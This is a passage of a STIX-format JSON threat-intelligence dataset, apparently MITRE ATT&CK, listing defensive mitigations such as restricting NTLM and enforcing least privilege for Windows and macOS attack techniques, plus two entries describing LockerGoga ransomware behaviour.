Directory Changes\u201d and other permissions associated with domain controller replication.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T15:45:37.521Z", + "id": "relationship--fc31837d-530f-45e5-b9f8-bf6268c3ef03", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "modified": "2019-10-11T12:49:34.543Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "AdSecurity DCSync Sept 2015", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", + "url": "https://adsecurity.org/?p=1729" + }, + { + "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.", + "source_name": "Microsoft Replication ACL", + "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T15:45:37.529Z", + "id": "relationship--a6f27258-cf6a-4d75-a3f0-5de085d528d2", + "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", + "modified": "2019-10-11T12:49:34.545Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "\nConsider disabling or restricting NTLM.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T15:45:37.582Z", + "id": "relationship--fe849763-78b9-4b8a-9219-2781ac7b00e8", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-10-11T12:49:34.540Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.", + "source_name": "Microsoft Disable NTLM Nov 2012", + "url": "https://technet.microsoft.com/library/jj865668.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "Restrict file shares to specific directories with access only to necessary users.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T15:52:46.436Z", + "id": "relationship--862de207-08e7-402a-ad23-90f520f11299", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-10-08T19:24:29.005Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "Preemptively search for files containing passwords and take actions to reduce the exposure risk when found.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T15:52:46.451Z", + "id": "relationship--f76660fd-2b21-415f-b0dd-a98f9e80055b", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-10-08T19:24:29.004Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T15:52:46.456Z", + "id": "relationship--397bdc3e-3c63-4311-a509-e019c655e836", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-10-08T19:24:29.001Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "Establish an organizational policy that prohibits password storage in files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T15:52:46.478Z", + "id": "relationship--913e7eac-c12f-4db7-b5f4-b23c8fe05729", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-10-08T19:24:29.003Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286", + "description": "If it is necessary that software must store credentials in the Registry, then ensure the associated accounts have limited permissions so they cannot be abused if obtained by an adversary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T16:02:42.954Z", + "id": "relationship--08e5e694-23fb-4598-afb4-3ed31850c070", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-17T16:02:42.954Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286", + "description": "Do not store credentials within the Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T16:02:42.979Z", + "id": "relationship--ba7c3f55-4b25-4b64-828a-0ee86602013e", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-07-17T16:02:42.979Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "Filter network traffic to look for unusual or non-standard protocols.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T18:20:50.647Z", + "id": "relationship--40865e9d-cfaf-4375-a1c2-ea47fe9e9bda", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "modified": "2019-10-10T15:57:52.597Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "description": "Enforce the principle of least-privilege. Consider implementing access control mechanisms that include both authentication and authorization.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T18:51:33.926Z", + "id": "relationship--8b3f2915-ca04-4770-88bb-e6f1314da34d", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-10-07T19:59:26.286Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with security services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T19:02:55.279Z", + "id": "relationship--220ed24a-195d-4a8b-b164-fac333017cdc", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-17T19:02:55.279Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79", + "description": "Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T19:16:41.786Z", + "id": "relationship--0bf88285-4212-4690-9902-fa065b477f2c", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-17T19:16:41.786Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T19:22:37.686Z", + "id": "relationship--966669b9-7ad9-4d01-9218-d42b5c6264b2", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-07-17T19:22:37.686Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd", + "description": "In order to use domain fronting, adversaries may need to deploy additional tools to compromised systems. It is possible to prevent the installation of these tools with application whitelisting.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T19:25:38.331Z", + "id": "relationship--e1de0727-729e-43de-a8a1-85caf742f35a", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-17T19:25:38.331Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09", + "description": "In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T19:32:24.314Z", + "id": "relationship--5524aea0-6559-4410-abbb-c620133e5d87", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "modified": "2019-07-17T19:32:24.314Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39", + "description": "If the service is necessary, lock down critical enclaves with separate WinRM accounts and permissions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T19:46:10.263Z", + "id": "relationship--908f43b2-be14-470d-b6ec-9bd0211752ee", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-10-15T18:44:56.832Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", + "description": "Prevent users from being able to write files to the search paths for applications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T19:54:05.765Z", + "id": "relationship--99f401d1-81c5-461b-ab15-5ff9391fe93e", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-17T19:54:05.765Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T20:04:40.541Z", + "id": "relationship--48e6b5fc-9d82-4cdf-84aa-bc23647e1234", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-17T20:04:40.541Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "description": "Identify and block potentially malicious software executed through this technique by using application whitelisting tools capable of preventing unknown DLLs from being loaded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T20:12:19.105Z", + "id": "relationship--2c89cab1-efbb-405c-930d-197ae1910e5b", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-17T20:12:19.105Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T20:18:11.841Z", + "id": "relationship--6eec2d79-1d59-459d-af33-b186ece9748b", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "modified": "2019-09-18T12:50:17.695Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87", + "description": "Prevent the creation of new network adapters where possible.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T20:22:08.552Z", + "id": "relationship--818e5053-404d-4cc2-ba72-037767737e04", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-07-17T20:22:08.552Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "description": "Web Application Firewalls may be used to limit exposure of applications to prevent exploit traffic from reaching the application.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T20:50:44.740Z", + "id": "relationship--53a95297-1cce-401c-99a3-34079e878fac", + "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "modified": "2019-10-22T19:45:57.466Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "description": "Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T21:07:56.528Z", + "id": "relationship--4c308ec1-f0c6-4444-af7d-ff045204c326", + "source_ref": "course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266", + "modified": "2019-10-22T19:45:57.513Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports for that particular network segment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T21:08:30.269Z", + "id": "relationship--d567082e-e9ee-4622-acbd-a592bc3be4a3", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-07-17T21:08:30.269Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T21:15:42.971Z", + "id": "relationship--9eaaffb7-4dc4-4aac-a1d5-675b71e587df", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "modified": "2019-07-17T21:15:42.971Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "description": "Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T21:15:42.984Z", + "id": "relationship--8df2f4b5-3f60-4b8f-b4aa-dd76eb347ab0", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-07-17T21:15:42.984Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "description": "Disable or block remotely available services that may be unnecessary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T21:15:42.990Z", + "id": "relationship--9aaf5e70-4080-4f73-8d6d-3b19f754e9b9", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-07-17T21:15:42.990Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "description": "Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Two-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T21:15:43.002Z", + "id": "relationship--e23d57b4-5bc4-4d06-9084-9c99464c4af8", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "modified": "2019-07-17T21:15:43.002Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a", + "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Deny execution from user directories such as file download directories and temp directories where able.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T21:22:37.273Z", + "id": "relationship--ae4531a8-ff8d-4a77-9998-c5d37d6134a9", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-17T21:22:37.273Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", + "description": "Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T21:33:42.484Z", + "id": "relationship--7eeaeee6-9ac5-440f-9c31-2e4a915b637e", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-10-04T21:19:25.025Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", + "source_name": "Wald0 Guide to GPOs", + "url": "https://wald0.com/?p=179" + }, + { + "description": "Microsoft. (2008, September 11). Fun with WMI Filters in Group Policy. Retrieved March 13, 2019.", + "source_name": "Microsoft WMI Filters", + "url": "https://blogs.technet.microsoft.com/askds/2008/09/11/fun-with-wmi-filters-in-group-policy/" + }, + { + "description": "Microsoft. (2018, May 30). Filtering the Scope of a GPO. Retrieved March 13, 2019.", + "source_name": "Microsoft GPO Security Filtering", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/desktop/Policy/filtering-the-scope-of-a-gpo" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87", + "description": "Consider using Group Policy to configure and block modifications to W32Time parameters in the Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T21:50:17.087Z", + "id": "relationship--6bff324f-74fc-48a3-b0aa-7e66e5500f2a", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "modified": "2019-07-17T21:51:10.686Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft W32Time May 2017", + "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[LockerGoga](https://attack.mitre.org/software/S0372) installation has been immediately preceded by a \"task kill\" command in order to disable anti-virus.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T23:32:02.493Z", + "id": "relationship--29d1699f-c87d-4e6c-ac34-b1b46c43286a", + "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "modified": "2019-07-25T14:22:27.818Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Wired Lockergoga 2019", + "description": "Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019.", + "url": "https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has been signed with stolen certificates in order to make it look more legitimate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T23:32:02.507Z", + "id": "relationship--c035989f-a86f-4746-a9d4-3286dc68e473", + "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "modified": "2019-07-25T14:22:27.826Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Wired Lockergoga 2019", + "description": "Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019.", + "url": "https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", + "description": "Ensure event tracers/forwarders, firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls and cannot be manipulated by user accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T15:00:31.200Z", + "id": "relationship--46f69cd8-dab9-4d7a-88cf-e234ce640b9d", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-19T14:43:31.185Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft ETW May 2018", + "description": "Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.", + "url": "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "description": "Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T15:05:36.677Z", + "id": "relationship--c4cd9acb-aaea-4b77-890e-f153a58623a4", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-07-19T14:37:37.523Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "description": "Windows Group Policy can be used to manage root certificates and the Flags value of HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\ProtectedRoots can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T15:16:29.839Z", + "id": "relationship--503b3b73-7c96-4bc5-b938-9fc45858d9c2", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-07-19T14:44:30.797Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SpectorOps Code Signing Dec 2017", + "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", + "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5", + "description": "Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T15:24:28.408Z", + "id": "relationship--63be47af-23d6-4a4b-8236-957106973968", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-18T15:24:28.408Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d", + "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T15:25:08.671Z", + "id": "relationship--976a5089-8355-40af-81a6-53b1d240d064", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-07-18T15:25:08.671Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "description": "Restrict user's abilities to create Launch Agents with group policy.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T15:25:53.814Z", + "id": "relationship--016279df-8d48-4e2f-aa39-2be744f0681e", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T15:25:53.814Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T15:26:40.751Z", + "id": "relationship--ba31b51b-d55c-4047-a3f5-1455bca4caa1", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T15:26:40.751Z", + 